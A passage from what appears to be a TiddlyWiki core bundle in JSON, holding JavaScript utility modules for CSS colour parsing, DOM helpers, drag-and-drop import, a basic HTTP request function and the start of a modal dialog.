[65,105,225,1], \"saddlebrown\": [139,69,19,1],\n \"salmon\": [250,128,114,1], \"sandybrown\": [244,164,96,1],\n \"seagreen\": [46,139,87,1], \"seashell\": [255,245,238,1],\n \"sienna\": [160,82,45,1], \"silver\": [192,192,192,1],\n \"skyblue\": [135,206,235,1], \"slateblue\": [106,90,205,1],\n \"slategray\": [112,128,144,1], \"slategrey\": [112,128,144,1],\n \"snow\": [255,250,250,1], \"springgreen\": [0,255,127,1],\n \"steelblue\": [70,130,180,1], \"tan\": [210,180,140,1],\n \"teal\": [0,128,128,1], \"thistle\": [216,191,216,1],\n \"tomato\": [255,99,71,1], \"turquoise\": [64,224,208,1],\n \"violet\": [238,130,238,1], \"wheat\": [245,222,179,1],\n \"white\": [255,255,255,1], \"whitesmoke\": [245,245,245,1],\n \"yellow\": [255,255,0,1], \"yellowgreen\": [154,205,50,1]}\n\nfunction clamp_css_byte(i) { // Clamp to integer 0 .. 255.\n i = Math.round(i); // Seems to be what Chrome does (vs truncation).\n return i < 0 ? 0 : i > 255 ? 255 : i;\n}\n\nfunction clamp_css_float(f) { // Clamp to float 0.0 .. 1.0.\n return f < 0 ? 0 : f > 1 ? 1 : f;\n}\n\nfunction parse_css_int(str) { // int or percentage.\n if (str[str.length - 1] === '%')\n return clamp_css_byte(parseFloat(str) / 100 * 255);\n return clamp_css_byte(parseInt(str));\n}\n\nfunction parse_css_float(str) { // float or percentage.\n if (str[str.length - 1] === '%')\n return clamp_css_float(parseFloat(str) / 100);\n return clamp_css_float(parseFloat(str));\n}\n\nfunction css_hue_to_rgb(m1, m2, h) {\n if (h < 0) h += 1;\n else if (h > 1) h -= 1;\n\n if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;\n if (h * 2 < 1) return m2;\n if (h * 3 < 2) return m1 + (m2 - m1) * (2/3 - h) * 6;\n return m1;\n}\n\nfunction parseCSSColor(css_str) {\n // Remove all whitespace, not compliant, but should just be more accepting.\n var str = css_str.replace(/ /g, '').toLowerCase();\n\n // Color keywords (and transparent) lookup.\n if (str in kCSSColorTable) return kCSSColorTable[str].slice(); // dup.\n\n // #abc and #abc123 syntax.\n if (str[0] === '#') {\n if (str.length === 4) {\n var iv = parseInt(str.substr(1), 16); // TODO(deanm): Stricter parsing.\n if (!(iv >= 0 && iv <= 0xfff)) return null; // Covers NaN.\n return [((iv & 0xf00) >> 4) | ((iv & 0xf00) >> 8),\n (iv & 0xf0) | ((iv & 0xf0) >> 4),\n (iv & 0xf) | ((iv & 0xf) << 4),\n 1];\n } else if (str.length === 7) {\n var iv = parseInt(str.substr(1), 16); // TODO(deanm): Stricter parsing.\n if (!(iv >= 0 && iv <= 0xffffff)) return null; // Covers NaN.\n return [(iv & 0xff0000) >> 16,\n (iv & 0xff00) >> 8,\n iv & 0xff,\n 1];\n }\n\n return null;\n }\n\n var op = str.indexOf('('), ep = str.indexOf(')');\n if (op !== -1 && ep + 1 === str.length) {\n var fname = str.substr(0, op);\n var params = str.substr(op+1, ep-(op+1)).split(',');\n var alpha = 1; // To allow case fallthrough.\n switch (fname) {\n case 'rgba':\n if (params.length !== 4) return null;\n alpha = parse_css_float(params.pop());\n // Fall through.\n case 'rgb':\n if (params.length !== 3) return null;\n return [parse_css_int(params[0]),\n parse_css_int(params[1]),\n parse_css_int(params[2]),\n alpha];\n case 'hsla':\n if (params.length !== 4) return null;\n alpha = parse_css_float(params.pop());\n // Fall through.\n case 'hsl':\n if (params.length !== 3) return null;\n var h = (((parseFloat(params[0]) % 360) + 360) % 360) / 360; // 0 .. 1\n // NOTE(deanm): According to the CSS spec s/l should only be\n // percentages, but we don't bother and let float or percentage.\n var s = parse_css_float(params[1]);\n var l = parse_css_float(params[2]);\n var m2 = l <= 0.5 ? l * (s + 1) : l + s - l * s;\n var m1 = l * 2 - m2;\n return [clamp_css_byte(css_hue_to_rgb(m1, m2, h+1/3) * 255),\n clamp_css_byte(css_hue_to_rgb(m1, m2, h) * 255),\n clamp_css_byte(css_hue_to_rgb(m1, m2, h-1/3) * 255),\n alpha];\n default:\n return null;\n }\n }\n\n return null;\n}\n\ntry { exports.parseCSSColor = parseCSSColor } catch(e) { }\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom.js": {
"title": "$:/core/modules/utils/dom.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom.js\ntype: application/javascript\nmodule-type: utils\n\nVarious static DOM-related utility functions.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nDetermines whether element 'a' contains element 'b'\nCode thanks to John Resig, http://ejohn.org/blog/comparing-document-position/\n*/\nexports.domContains = function(a,b) {\n\treturn a.contains ?\n\t\ta !== b && a.contains(b) :\n\t\t!!(a.compareDocumentPosition(b) & 16);\n};\n\nexports.removeChildren = function(node) {\n\twhile(node.hasChildNodes()) {\n\t\tnode.removeChild(node.firstChild);\n\t}\n};\n\nexports.hasClass = function(el,className) {\n\treturn el && el.className && el.className.toString().split(\" \").indexOf(className) !== -1;\n};\n\nexports.addClass = function(el,className) {\n\tvar c = el.className.split(\" \");\n\tif(c.indexOf(className) === -1) {\n\t\tc.push(className);\n\t\tel.className = c.join(\" \");\n\t}\n};\n\nexports.removeClass = function(el,className) {\n\tvar c = el.className.split(\" \"),\n\t\tp = c.indexOf(className);\n\tif(p !== -1) {\n\t\tc.splice(p,1);\n\t\tel.className = c.join(\" \");\n\t}\n};\n\nexports.toggleClass = function(el,className,status) {\n\tif(status === undefined) {\n\t\tstatus = !exports.hasClass(el,className);\n\t}\n\tif(status) {\n\t\texports.addClass(el,className);\n\t} else {\n\t\texports.removeClass(el,className);\n\t}\n};\n\n/*\nGet the first parent element that has scrollbars or use the body as fallback.\n*/\nexports.getScrollContainer = function(el) {\n\tvar doc = el.ownerDocument;\n\twhile(el.parentNode) {\t\n\t\tel = el.parentNode;\n\t\tif(el.scrollTop) {\n\t\t\treturn el;\n\t\t}\n\t}\n\treturn doc.body;\n};\n\n/*\nGet the scroll position of the viewport\nReturns:\n\t{\n\t\tx: horizontal scroll position in pixels,\n\t\ty: vertical scroll position in pixels\n\t}\n*/\nexports.getScrollPosition = function(srcWindow) {\n\tvar scrollWindow = srcWindow || window;\n\tif(\"scrollX\" in scrollWindow) {\n\t\treturn {x: scrollWindow.scrollX, y: scrollWindow.scrollY};\n\t} else {\n\t\treturn {x: scrollWindow.document.documentElement.scrollLeft, y: scrollWindow.document.documentElement.scrollTop};\n\t}\n};\n\n/*\nAdjust the height of a textarea to fit its content, preserving scroll position, and return the height\n*/\nexports.resizeTextAreaToFit = function(domNode,minHeight) {\n\t// Get the scroll container and register the current scroll position\n\tvar container = $tw.utils.getScrollContainer(domNode),\n\t\tscrollTop = container.scrollTop;\n // Measure the specified minimum height\n\tdomNode.style.height = minHeight;\n\tvar measuredHeight = domNode.offsetHeight || parseInt(minHeight,10);\n\t// Set its height to auto so that it snaps to the correct height\n\tdomNode.style.height = \"auto\";\n\t// Calculate the revised height\n\tvar newHeight = Math.max(domNode.scrollHeight + domNode.offsetHeight - domNode.clientHeight,measuredHeight);\n\t// Only try to change the height if it has changed\n\tif(newHeight !== domNode.offsetHeight) {\n\t\tdomNode.style.height = newHeight + \"px\";\n\t\t// Make sure that the dimensions of the textarea are recalculated\n\t\t$tw.utils.forceLayout(domNode);\n\t\t// Set the container to the position we registered at the beginning\n\t\tcontainer.scrollTop = scrollTop;\n\t}\n\treturn newHeight;\n};\n\n/*\nGets the bounding rectangle of an element in absolute page coordinates\n*/\nexports.getBoundingPageRect = function(element) {\n\tvar scrollPos = $tw.utils.getScrollPosition(element.ownerDocument.defaultView),\n\t\tclientRect = element.getBoundingClientRect();\n\treturn {\n\t\tleft: clientRect.left + scrollPos.x,\n\t\twidth: clientRect.width,\n\t\tright: clientRect.right + scrollPos.x,\n\t\ttop: clientRect.top + scrollPos.y,\n\t\theight: clientRect.height,\n\t\tbottom: clientRect.bottom + scrollPos.y\n\t};\n};\n\n/*\nSaves a named password in the browser\n*/\nexports.savePassword = function(name,password) {\n\tvar done = false;\n\ttry {\n\t\twindow.localStorage.setItem(\"tw5-password-\" + name,password);\n\t\tdone = true;\n\t} catch(e) {\n\t}\n\tif(!done) {\n\t\t$tw.savedPasswords = $tw.savedPasswords || Object.create(null);\n\t\t$tw.savedPasswords[name] = password;\n\t}\n};\n\n/*\nRetrieve a named password from the browser\n*/\nexports.getPassword = function(name) {\n\tvar value;\n\ttry {\n\t\tvalue = window.localStorage.getItem(\"tw5-password-\" + name);\n\t} catch(e) {\n\t}\n\tif(value !== undefined) {\n\t\treturn value;\n\t} else {\n\t\treturn ($tw.savedPasswords || Object.create(null))[name] || \"\";\n\t}\n};\n\n/*\nForce layout of a dom node and its descendents\n*/\nexports.forceLayout = function(element) {\n\tvar dummy = element.offsetWidth;\n};\n\n/*\nPulse an element for debugging purposes\n*/\nexports.pulseElement = function(element) {\n\t// Event handler to remove the class at the end\n\telement.addEventListener($tw.browser.animationEnd,function handler(event) {\n\t\telement.removeEventListener($tw.browser.animationEnd,handler,false);\n\t\t$tw.utils.removeClass(element,\"pulse\");\n\t},false);\n\t// Apply the pulse class\n\t$tw.utils.removeClass(element,\"pulse\");\n\t$tw.utils.forceLayout(element);\n\t$tw.utils.addClass(element,\"pulse\");\n};\n\n/*\nAttach specified event handlers to a DOM node\ndomNode: where to attach the event handlers\nevents: array of event handlers to be added (see below)\nEach entry in the events array is an object with these properties:\nhandlerFunction: optional event handler function\nhandlerObject: optional event handler object\nhandlerMethod: optionally specifies object handler method name (defaults to `handleEvent`)\n*/\nexports.addEventListeners = function(domNode,events) {\n\t$tw.utils.each(events,function(eventInfo) {\n\t\tvar handler;\n\t\tif(eventInfo.handlerFunction) {\n\t\t\thandler = eventInfo.handlerFunction;\n\t\t} else if(eventInfo.handlerObject) {\n\t\t\tif(eventInfo.handlerMethod) {\n\t\t\t\thandler = function(event) {\n\t\t\t\t\teventInfo.handlerObject[eventInfo.handlerMethod].call(eventInfo.handlerObject,event);\n\t\t\t\t};\t\n\t\t\t} else {\n\t\t\t\thandler = eventInfo.handlerObject;\n\t\t\t}\n\t\t}\n\t\tdomNode.addEventListener(eventInfo.name,handler,false);\n\t});\n};\n\n/*\nGet the computed styles applied to an element as an array of strings of individual CSS properties\n*/\nexports.getComputedStyles = function(domNode) {\n\tvar textAreaStyles = window.getComputedStyle(domNode,null),\n\t\tstyleDefs = [],\n\t\tname;\n\tfor(var t=0; t<textAreaStyles.length; t++) {\n\t\tname = textAreaStyles[t];\n\t\tstyleDefs.push(name + \": \" + textAreaStyles.getPropertyValue(name) + \";\");\n\t}\n\treturn styleDefs;\n};\n\n/*\nApply a set of styles passed as an array of strings of individual CSS properties\n*/\nexports.setStyles = function(domNode,styleDefs) {\n\tdomNode.style.cssText = styleDefs.join(\"\");\n};\n\n/*\nCopy the computed styles from a source element to a destination element\n*/\nexports.copyStyles = function(srcDomNode,dstDomNode) {\n\t$tw.utils.setStyles(dstDomNode,$tw.utils.getComputedStyles(srcDomNode));\n};\n\n/*\nCopy plain text to the clipboard on browsers that support it\n*/\nexports.copyToClipboard = function(text,options) {\n\toptions = options || {};\n\tvar textArea = document.createElement(\"textarea\");\n\ttextArea.style.position = \"fixed\";\n\ttextArea.style.top = 0;\n\ttextArea.style.left = 0;\n\ttextArea.style.fontSize = \"12pt\";\n\ttextArea.style.width = \"2em\";\n\ttextArea.style.height = \"2em\";\n\ttextArea.style.padding = 0;\n\ttextArea.style.border = \"none\";\n\ttextArea.style.outline = \"none\";\n\ttextArea.style.boxShadow = \"none\";\n\ttextArea.style.background = \"transparent\";\n\ttextArea.value = text;\n\tdocument.body.appendChild(textArea);\n\ttextArea.select();\n\ttextArea.setSelectionRange(0,text.length);\n\tvar succeeded = false;\n\ttry {\n\t\tsucceeded = document.execCommand(\"copy\");\n\t} catch (err) {\n\t}\n\tif(!options.doNotNotify) {\n\t\t$tw.notifier.display(succeeded ? \"$:/language/Notifications/CopiedToClipboard/Succeeded\" : \"$:/language/Notifications/CopiedToClipboard/Failed\");\n\t}\n\tdocument.body.removeChild(textArea);\n};\n\nexports.getLocationPath = function() {\n\treturn window.location.toString().split(\"#\")[0];\n};\n\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/dragndrop.js": {
"title": "$:/core/modules/utils/dom/dragndrop.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/dragndrop.js\ntype: application/javascript\nmodule-type: utils\n\nBrowser data transfer utilities, used with the clipboard and drag and drop\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nOptions:\n\ndomNode: dom node to make draggable\ndragImageType: \"pill\" or \"dom\"\ndragTiddlerFn: optional function to retrieve the title of tiddler to drag\ndragFilterFn: optional function to retreive the filter defining a list of tiddlers to drag\nwidget: widget to use as the contect for the filter\n*/\nexports.makeDraggable = function(options) {\n\tvar dragImageType = options.dragImageType || \"dom\",\n\t\tdragImage,\n\t\tdomNode = options.domNode;\n\t// Make the dom node draggable (not necessary for anchor tags)\n\tif((domNode.tagName || \"\").toLowerCase() !== \"a\") {\n\t\tdomNode.setAttribute(\"draggable\",\"true\");\t\t\n\t}\n\t// Add event handlers\n\t$tw.utils.addEventListeners(domNode,[\n\t\t{name: \"dragstart\", handlerFunction: function(event) {\n\t\t\tif(event.dataTransfer === undefined) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// Collect the tiddlers being dragged\n\t\t\tvar dragTiddler = options.dragTiddlerFn && options.dragTiddlerFn(),\n\t\t\t\tdragFilter = options.dragFilterFn && options.dragFilterFn(),\n\t\t\t\ttitles = dragTiddler ? [dragTiddler] : [],\n\t\t\t \tstartActions = options.startActions;\n\t\t\tif(dragFilter) {\n\t\t\t\ttitles.push.apply(titles,options.widget.wiki.filterTiddlers(dragFilter,options.widget));\n\t\t\t}\n\t\t\tvar titleString = $tw.utils.stringifyList(titles);\n\t\t\t// Check that we've something to drag\n\t\t\tif(titles.length > 0 && event.target === domNode) {\n\t\t\t\t// Mark the drag in progress\n\t\t\t\t$tw.dragInProgress = domNode;\n\t\t\t\t// Set the dragging class on the element being dragged\n\t\t\t\t$tw.utils.addClass(event.target,\"tc-dragging\");\n\t\t\t\t// Invoke drag-start actions if given\n\t\t\t\tif(startActions !== undefined) {\n\t\t\t\t\toptions.widget.invokeActionString(startActions,options.widget,event,{actionTiddler: titleString});\n\t\t\t\t}\n\t\t\t\t// Create the drag image elements\n\t\t\t\tdragImage = options.widget.document.createElement(\"div\");\n\t\t\t\tdragImage.className = \"tc-tiddler-dragger\";\n\t\t\t\tvar inner = options.widget.document.createElement(\"div\");\n\t\t\t\tinner.className = \"tc-tiddler-dragger-inner\";\n\t\t\t\tinner.appendChild(options.widget.document.createTextNode(\n\t\t\t\t\ttitles.length === 1 ? \n\t\t\t\t\t\ttitles[0] :\n\t\t\t\t\t\ttitles.length + \" tiddlers\"\n\t\t\t\t));\n\t\t\t\tdragImage.appendChild(inner);\n\t\t\t\toptions.widget.document.body.appendChild(dragImage);\n\t\t\t\t// Set the data transfer properties\n\t\t\t\tvar dataTransfer = event.dataTransfer;\n\t\t\t\t// Set up the image\n\t\t\t\tdataTransfer.effectAllowed = \"all\";\n\t\t\t\tif(dataTransfer.setDragImage) {\n\t\t\t\t\tif(dragImageType === \"pill\") {\n\t\t\t\t\t\tdataTransfer.setDragImage(dragImage.firstChild,-16,-16);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar r = domNode.getBoundingClientRect();\n\t\t\t\t\t\tdataTransfer.setDragImage(domNode,event.clientX-r.left,event.clientY-r.top);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Set up the data transfer\n\t\t\t\tif(dataTransfer.clearData) {\n\t\t\t\t\tdataTransfer.clearData();\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\tvar jsonData = [];\n\t\t\t\tif(titles.length > 1) {\n\t\t\t\t\ttitles.forEach(function(title) {\n\t\t\t\t\t\tjsonData.push(options.widget.wiki.getTiddlerAsJson(title));\n\t\t\t\t\t});\n\t\t\t\t\tjsonData = \"[\" + jsonData.join(\",\") + \"]\";\n\t\t\t\t} else {\n\t\t\t\t\tjsonData = options.widget.wiki.getTiddlerAsJson(titles[0]);\n\t\t\t\t}\n\t\t\t\t// IE doesn't like these content types\n\t\t\t\tif(!$tw.browser.isIE) {\n\t\t\t\t\tdataTransfer.setData(\"text/vnd.tiddler\",jsonData);\n\t\t\t\t\tdataTransfer.setData(\"text/plain\",titleString);\n\t\t\t\t\tdataTransfer.setData(\"text/x-moz-url\",\"data:text/vnd.tiddler,\" + encodeURIComponent(jsonData));\n\t\t\t\t}\n\t\t\t\tdataTransfer.setData(\"URL\",\"data:text/vnd.tiddler,\" + encodeURIComponent(jsonData));\n\t\t\t\tdataTransfer.setData(\"Text\",titleString);\n\t\t\t\tevent.stopPropagation();\n\t\t\t}\n\t\t\treturn false;\n\t\t}},\n\t\t{name: \"dragend\", handlerFunction: function(event) {\n\t\t\tif(event.target === domNode) {\n\t\t\t\t// Collect the tiddlers being dragged\n\t\t\t\tvar dragTiddler = options.dragTiddlerFn && options.dragTiddlerFn(),\n\t\t\t\t\tdragFilter = options.dragFilterFn && options.dragFilterFn(),\n\t\t\t\t\ttitles = dragTiddler ? [dragTiddler] : [],\n\t\t\t \t\tendActions = options.endActions;\n\t\t\t\tif(dragFilter) {\n\t\t\t\t\ttitles.push.apply(titles,options.widget.wiki.filterTiddlers(dragFilter,options.widget));\n\t\t\t\t}\n\t\t\t\tvar titleString = $tw.utils.stringifyList(titles);\n\t\t\t\t$tw.dragInProgress = null;\n\t\t\t\t// Invoke drag-end actions if given\n\t\t\t\tif(endActions !== undefined) {\n\t\t\t\t\toptions.widget.invokeActionString(endActions,options.widget,event,{actionTiddler: titleString});\n\t\t\t\t}\n\t\t\t\t// Remove the dragging class on the element being dragged\n\t\t\t\t$tw.utils.removeClass(event.target,\"tc-dragging\");\n\t\t\t\t// Delete the drag image element\n\t\t\t\tif(dragImage) {\n\t\t\t\t\tdragImage.parentNode.removeChild(dragImage);\n\t\t\t\t\tdragImage = null;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t}}\n\t]);\n};\n\nexports.importDataTransfer = function(dataTransfer,fallbackTitle,callback) {\n\t// Try each provided data type in turn\n\tif($tw.log.IMPORT) {\n\t\tconsole.log(\"Available data types:\");\n\t\tfor(var type=0; type<dataTransfer.types.length; type++) {\n\t\t\tconsole.log(\"type\",dataTransfer.types[type],dataTransfer.getData(dataTransfer.types[type]))\n\t\t}\n\t}\n\tfor(var t=0; t<importDataTypes.length; t++) {\n\t\tif(!$tw.browser.isIE || importDataTypes[t].IECompatible) {\n\t\t\t// Get the data\n\t\t\tvar dataType = importDataTypes[t];\n\t\t\t\tvar data = dataTransfer.getData(dataType.type);\n\t\t\t// Import the tiddlers in the data\n\t\t\tif(data !== \"\" && data !== null) {\n\t\t\t\tif($tw.log.IMPORT) {\n\t\t\t\t\tconsole.log(\"Importing data type '\" + dataType.type + \"', data: '\" + data + \"'\")\n\t\t\t\t}\n\t\t\t\tvar tiddlerFields = dataType.toTiddlerFieldsArray(data,fallbackTitle);\n\t\t\t\tcallback(tiddlerFields);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n};\n\nvar importDataTypes = [\n\t{type: \"text/vnd.tiddler\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn parseJSONTiddlers(data,fallbackTitle);\n\t}},\n\t{type: \"URL\", IECompatible: true, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\t// Check for tiddler data URI\n\t\tvar match = decodeURIComponent(data).match(/^data\\:text\\/vnd\\.tiddler,(.*)/i);\n\t\tif(match) {\n\t\t\treturn parseJSONTiddlers(match[1],fallbackTitle);\n\t\t} else {\n\t\t\treturn [{title: fallbackTitle, text: data}]; // As URL string\n\t\t}\n\t}},\n\t{type: \"text/x-moz-url\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\t// Check for tiddler data URI\n\t\tvar match = decodeURIComponent(data).match(/^data\\:text\\/vnd\\.tiddler,(.*)/i);\n\t\tif(match) {\n\t\t\treturn parseJSONTiddlers(match[1],fallbackTitle);\n\t\t} else {\n\t\t\treturn [{title: fallbackTitle, text: data}]; // As URL string\n\t\t}\n\t}},\n\t{type: \"text/html\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn [{title: fallbackTitle, text: data}];\n\t}},\n\t{type: \"text/plain\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn [{title: fallbackTitle, text: data}];\n\t}},\n\t{type: \"Text\", IECompatible: true, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn [{title: fallbackTitle, text: data}];\n\t}},\n\t{type: \"text/uri-list\", IECompatible: false, toTiddlerFieldsArray: function(data,fallbackTitle) {\n\t\treturn [{title: fallbackTitle, text: data}];\n\t}}\n];\n\nfunction parseJSONTiddlers(json,fallbackTitle) {\n\tvar data = JSON.parse(json);\n\tif(!$tw.utils.isArray(data)) {\n\t\tdata = [data];\n\t}\n\tdata.forEach(function(fields) {\n\t\tfields.title = fields.title || fallbackTitle;\n\t});\n\treturn data;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/http.js": {
"title": "$:/core/modules/utils/dom/http.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/http.js\ntype: application/javascript\nmodule-type: utils\n\nBrowser HTTP support\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nA quick and dirty HTTP function; to be refactored later. Options are:\n\turl: URL to retrieve\n\theaders: hashmap of headers to send\n\ttype: GET, PUT, POST etc\n\tcallback: function invoked with (err,data,xhr)\n\treturnProp: string name of the property to return as first argument of callback\n*/\nexports.httpRequest = function(options) {\n\tvar type = options.type || \"GET\",\n\t\turl = options.url,\n\t\theaders = options.headers || {accept: \"application/json\"},\n\t\treturnProp = options.returnProp || \"responseText\",\n\t\trequest = new XMLHttpRequest(),\n\t\tdata = \"\",\n\t\tf,results;\n\t// Massage the data hashmap into a string\n\tif(options.data) {\n\t\tif(typeof options.data === \"string\") { // Already a string\n\t\t\tdata = options.data;\n\t\t} else { // A hashmap of strings\n\t\t\tresults = [];\n\t\t\t$tw.utils.each(options.data,function(dataItem,dataItemTitle) {\n\t\t\t\tresults.push(dataItemTitle + \"=\" + encodeURIComponent(dataItem));\n\t\t\t});\n\t\t\tif(type === \"GET\" || type === \"HEAD\") {\n\t\t\t\turl += \"?\" + results.join(\"&\");\n\t\t\t} else {\n\t\t\t\tdata = results.join(\"&\");\n\t\t\t}\n\t\t}\n\t}\n\t// Set up the state change handler\n\trequest.onreadystatechange = function() {\n\t\tif(this.readyState === 4) {\n\t\t\tif(this.status === 200 || this.status === 201 || this.status === 204) {\n\t\t\t\t// Success!\n\t\t\t\toptions.callback(null,this[returnProp],this);\n\t\t\t\treturn;\n\t\t\t}\n\t\t// Something went wrong\n\t\toptions.callback($tw.language.getString(\"Error/XMLHttpRequest\") + \": \" + this.status,null,this);\n\t\t}\n\t};\n\t// Make the request\n\trequest.open(type,url,true);\n\tif(headers) {\n\t\t$tw.utils.each(headers,function(header,headerTitle,object) {\n\t\t\trequest.setRequestHeader(headerTitle,header);\n\t\t});\n\t}\n\tif(data && !$tw.utils.hop(headers,\"Content-type\")) {\n\t\trequest.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded; charset=UTF-8\");\n\t}\n\tif(!$tw.utils.hop(headers,\"X-Requested-With\")) {\n\t\trequest.setRequestHeader(\"X-Requested-With\",\"TiddlyWiki\");\n\t}\n\ttry {\n\t\trequest.send(data);\n\t} catch(e) {\n\t\toptions.callback(e,null,this);\n\t}\n\treturn request;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/keyboard.js": {
"title": "$:/core/modules/utils/dom/keyboard.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/keyboard.js\ntype: application/javascript\nmodule-type: utils\n\nKeyboard utilities; now deprecated. Instead, use $tw.keyboardManager\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n[\"parseKeyDescriptor\",\"checkKeyDescriptor\"].forEach(function(method) {\n\texports[method] = function() {\n\t\tif($tw.keyboardManager) {\n\t\t\treturn $tw.keyboardManager[method].apply($tw.keyboardManager,Array.prototype.slice.call(arguments,0));\n\t\t} else {\n\t\t\treturn null\n\t\t}\n\t};\n});\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/dom/modal.js": {
"title": "$:/core/modules/utils/dom/modal.js",
"text": "/*\\\ntitle: $:/core/modules/utils/dom/modal.js\ntype: application/javascript\nmodule-type: utils\n\nModal message mechanism\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nvar Modal = function(wiki) {\n\tthis.wiki = wiki;\n\tthis.modalCount = 0;\n};\n\n/*\nDisplay a modal dialogue\n\ttitle: Title of tiddler to display\n\toptions: see below\nOptions include:\n\tdownloadLink: Text of a big download link to include\n*/\nModal.prototype.display = function(title,options) {\n\toptions = options || {};\n\tthis.srcDocument = options.variables && (options.variables.rootwindow === \"true\" ||\n\t\t\t\toptions.variables.rootwindow === \"yes\") ? document :\n\t\t\t\t(options.event.event && options.event.event.target ? options.event.event.target.ownerDocument : document);\n\tthis.srcWindow = this.srcDocument.defaultView;\n\tvar self = this,\n\t\trefreshHandler,\n\t\tduration = $tw.utils.getAnimationDuration(),\n\t\ttiddler = this.wiki.getTiddler(title);\n\t// Don't do anything if the tiddler doesn't exist\n\tif(!tiddler) {\n\t\treturn;\n\t}\n\t// Create the variables\n\tvar variables = $tw.utils.extend({currentTiddler: title},options.variables);\n\t// Create the wrapper divs\n\tvar wrapper = this.srcDocument.createElement(\"div\"),\n\t\tmodalBackdrop = this.srcDocument.createElement(\"div\"),\n\t\tmodalWrapper = this.srcDocument.createElement(\"div\"),\n\t\tmodalHeader = this.srcDocument.createElement(\"div\"),\n\t\theaderTitle = this.srcDocument.createElement(\"h3\"),\n\t\tmodalBody = this.srcDocument.createElement(\"div\"),\n\t\tmodalLink = this.srcDocument.createElement(\"a\"),\n\t\tmodalFooter = this.srcDocument.createElement(\"div\"),\n\t\tmodalFooterHelp = this.srcDocument.createElement(\"span\"),\n\t\tmodalFooterButtons = this.srcDocument.createElement(\"span\");\n\t// Up the modal count and adjust the body class\n\tthis.modalCount++;\n\tthis.adjustPageClass();\n\t// Add classes\n\t$tw.utils.addClass(wrapper,\"tc-modal-wrapper\");\n\tif(tiddler.fields && tiddler.fields.class) {\n\t\t$tw.utils.addClass(wrapper,tiddler.fields.class);\n\t}\n\t$tw.utils.addClass(modalBackdrop,\"tc-modal-backdrop\");\n\t$tw.utils.addClass(modalWrapper,\"tc-modal\");\n\t$tw.utils.addClass(modalHeader,\"tc-modal-header\");\n\t$tw.utils.addClass(modalBody,\"tc-modal-body\");\n\t$tw.utils.addClass(modalFooter,\"tc-modal-footer\");\n\t// Join them together\n\twrapper.appendChild(modalBackdrop);\n\twrapper.appendChild(modalWrapper);\n\tmodalHeader.appendChild(headerTitle);\n\tmodalWrapper.appendChild(modalHeader);\n\tmodalWrapper.appendChild(modalBody);\n\tmodalFooter.appendChild(modalFooterHelp);\n\tmodalFooter.appendChild(modalFooterButtons);\n\tmodalWrapper.appendChild(modalFooter);\n\t// Render the title of the message\n\tvar headerWidgetNode = this.wiki.makeTranscludeWidget(title,{\n\t\tfield: \"subtitle\",\n\t\tmode: \"inline\",\n\t\tchildren: [{\n\t\t\ttype: \"text\",\n\t\t\tattributes: {\n\t\t\t\ttext: {\n\t\t\t\t\ttype: \"string\",\n\t\t\t\t\tvalue: title\n\t\t}}}],\n\t\tparentWidget: $tw.rootWidget,\n\t\tdocument: this.srcDocument,\n\t\tvariables: variables,\n\t\timportPageMacros: true\n\t});\n\theaderWidgetNode.render(headerTitle,null);\n\t// Render the body of the message\n\tvar bodyWidgetNode = this.wiki.makeTranscludeWidget(title,{\n\t\tparentWidget: $tw.rootWidget,\n\t\tdocument: this.srcDocument,\n\t\tvariables: variables,\n\t\timportPageMacros: true\n\t});\n\tbodyWidgetNode.render(modalBody,null);\n\t// Setup the link if present\n\tif(options.downloadLink) {\n\t\tmodalLink.href = options.downloadLink;\n\t\tmodalLink.appendChild(this.srcDocument.createTextNode(\"Right-click to save changes\"));\n\t\tmodalBody.appendChild(modalLink);\n\t}\n\t// Render the footer of the message\n\tif(tiddler.fields && tiddler.fields.help) {\n\t\tvar link = this.srcDocument.createElement(\"a\");\n\t\tlink.setAttribute(\"href\",tiddler.fields.help);\n\t\tlink.setAttribute(\"target\",\"_blank\");\n\t\tlink.setAttribute(\"rel\",\"noopener noreferrer\");\n\t\tlink.appendChild(this.srcDocument.createTextNode(\"Help\"));\n\t\tmodalFooterHelp.appendChild(link);\n\t\tmodalFooterHelp.style.float = \"left\";\n\t}\n\tvar footerWidgetNode = this.wiki.makeTranscludeWidget(title,{\n\t\tfield: \"footer\",\n\t\tmode: \"inline\",\n\t\tchildren: [{\n\t\t\ttype: \"button\",\n\t\t\tattributes: {\n\t\t\t\tmessage: {\n\t\t\t\t\ttype: \"string\",\n\t\t\t\t\tvalue: 